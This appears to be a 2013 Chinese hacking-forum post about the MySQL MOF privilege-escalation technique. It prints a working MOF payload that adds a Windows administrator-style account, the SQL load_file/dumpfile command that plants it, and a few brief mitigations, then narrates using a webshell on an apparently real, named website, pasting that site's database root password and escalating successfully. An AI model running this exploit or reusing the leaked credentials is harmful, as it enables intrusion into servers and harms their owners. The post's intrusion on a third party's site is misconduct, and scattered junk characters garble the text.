找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2375|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法+ p6 v- s. j- B/ x7 y2 c7 g

$ E6 K' `7 r/ |, Q网上公开的一些利用代码:6 Q! }# i1 d% a: k5 v1 L2 N

0 J. p! C& j1 e9 j: y! m+ \#pragma namespace(“\\\\.\\root\\subscription”)9 B. o0 L. u. F$ F9 h9 s9 l

7 A4 G! {5 `% p# zinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };* Q$ N( `* K& t0 ^9 R- o3 V
6 q! l9 y1 @+ {$ l# y* O7 f

! u* U; @$ }7 v! c8 F6 E  K/ T8 \; b7 e1 A. b! N/ W

1 H' l# d* L6 l
2 k% q3 b$ \5 Q+ {- v; y* [连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
9 ]8 K4 G. n8 Y6 Q. J从上面代码来看得出解决办法:
- C  }. e# l4 w
+ D( [, b( _5 Y, j/ p. R8 M1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数2 b$ P: t! |( Q% D. M  p$ }
. N6 d/ Z# P1 O! Z2 {# g1 S
2、禁止使用”WScript.Shel”组件1 B5 g0 S. E1 `( S% L% o) N( i& N
. Q5 g- E1 V, |1 N7 t
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER& w" V( F' ~  P8 a" B! L

. n9 s0 `3 B# {. S' s  N, `当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下% H7 R8 @; C/ j0 Q* ?7 Q

+ X3 E! ?; C: n$ X$ T- k; y- e事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
+ ]! {2 u1 y/ O. @# n0 t8 l. {. b+ A
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容) N6 I+ l: h0 d# k5 v  i7 L

$ W) Q% T9 Q  ]* ~看懂了后就开始练手吧
- v' x# }- W8 Y& r7 T6 I, G
1 n- P, J8 E8 g3 ^: ^- uhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
' N# C8 U: N( H# F$ Y' u6 H4 R8 }. O% X% H9 B  o) R; }
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
' p  g1 o7 Q1 t) i% ?
4 `& T: }# Q- m$ _2 l于是直接用菜刀开搞
- G* c2 K3 j, E) p4 l6 \* D
  Q: X1 \9 r" [3 H: f上马先, r6 P2 @3 }* h9 L( J! ]9 c$ r% V
% W/ O- m# t8 H1 J# h' I
既然有了那些账号 之类的 于是我们就执行吧…….
% Y6 A7 ~9 r3 P/ `! Q
9 L0 L- @# Z( Y( a7 c小小的说下
; M& @; F$ M' i6 T/ _3 t
, W* |8 u) x1 D1 X6 j在这里第1次执行未成功        原因未知
* C- [0 V2 o" z9 S, U) m- m8 a$ y5 j6 Z; M# e% Z
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。: J0 P* }0 z4 ~& ~! g0 t

) x# B( F: q4 q1 P, G6 Y% `& T#pragma namespace(“\\\\.\\root\\subscription”)
4 \* |8 c7 z* D5 u/ M+ ^- d  D8 Q0 W/ J
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };/ h- H; Z8 o3 S8 _7 [) q
  _4 Q! p* W( A
我是将文件放到C:\WINDOWS\temp\1.mof: c7 v. S' E/ v5 ~+ E, E! O6 X4 y9 D

& K( ^" ^, a7 E& \- M2 a所以我们就改下执行的代码
3 u# `6 R3 Z, D4 e3 w& ~, |! F" m5 r) |! [( M1 H" ~
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
0 ^: y8 _0 c% b0 f4 e' B/ R6 w- h
6 ^+ B$ ]9 Z- }- i/ y2 |+ ]0 A7 u" e: ~8 T# L+ d8 X& C% s* ?- C% a

6 M5 {3 F9 a3 E' T: _( S4 g  F( o但是 你会发现账号还是没有躺在那里。。5 G. y' E6 I- j3 {( ~( U
$ x: p4 B1 [0 P% k
于是我就感觉蛋疼9 m' ^( \9 }. _& V9 H5 R

2 X5 ]3 E& j" S4 X1 J8 I, g! ]就去一个一个去执行 但是执行到第2个 mysql时就成功了………
6 N6 p$ T0 S- o; T: e8 z0 j
: E$ X, U) l: k5 E% n6 k5 D, T+ w$ D3 _3 i

8 w( C7 `+ ~& d- b" x, t但是其他库均不成功…" I: G2 X  b/ n) I- x

: B/ [/ ?4 Q6 I" D我就很费解呀 到底为什么不成功求大牛解答…
& e% ~. l. L& B4 Z+ c8 h8 S. w4 n% j' K. ~, @6 D

; ]1 n2 R/ I6 D: q: x0 Z/ X- V% N' F4 F5 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表